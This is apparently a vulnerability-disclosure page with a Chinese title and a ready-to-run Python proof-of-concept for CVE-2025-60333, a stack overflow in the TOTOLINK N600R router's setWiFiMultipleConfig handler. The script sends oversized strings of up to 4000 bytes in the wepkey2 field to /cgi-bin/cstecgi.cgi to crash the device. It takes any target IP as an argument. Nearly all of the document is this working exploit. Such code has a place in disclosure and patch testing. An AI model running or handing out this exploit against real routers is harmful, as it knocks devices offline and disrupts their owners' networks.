CVE-2025-60333 TOTOLINK N600R 栈溢出漏洞导致拒绝服务

#!/usr/bin/env python3 """ CVE-2025-60333 PoC TOTOLINK N600R Stack Overflow in wepkey2 parameter (setWiFiMultipleConfig) This PoC demonstrates sending a crafted request to trigger the stack overflow. """ import requests import sys target_ip = "192.168.0.1" # Default TOTOLINK router IP target_port = 80 def create_exploit_payload(payload_size=1000): """Generate overflow payload for wepkey2 parameter""" # Create a long string to overflow the stack buffer overflow_pattern = "A" * payload_size return overflow_pattern def exploit_cve_2025_60333(target_ip, payload_size=1000): """ Send malicious request to trigger stack overflow in wepkey2 parameter """ url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Craft the malicious payload for wepkey2 parameter payload = { "topicurl": "setWiFiMultipleConfig", "wepkey2": create_exploit_payload(payload_size), "wepkey1": "test", "wifi_hidden": "0" } print(f"[*] Sending exploit payload ({payload_size} bytes) to {target_ip}...") print(f"[*] Target URL: {url}") print(f"[*] Payload size: {len(payload['wepkey2'])} bytes") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[!] Response Status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target did not respond (possible crash/DoS)") return True except requests.exceptions.ConnectionError: print("[+] Connection failed - target may be down") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) > 1: target_ip = sys.argv[1] print("=" * 60) print("CVE-2025-60333 PoC - TOTOLINK N600R Stack Overflow") print("=" * 60) # Send multiple payloads with increasing sizes for size in [500, 1000, 2000, 4000]: print(f"\n[*] Attempting with payload size: {size}") exploit_cve_2025_60333(target_ip, size) print("\n[+] Exploit attempts completed")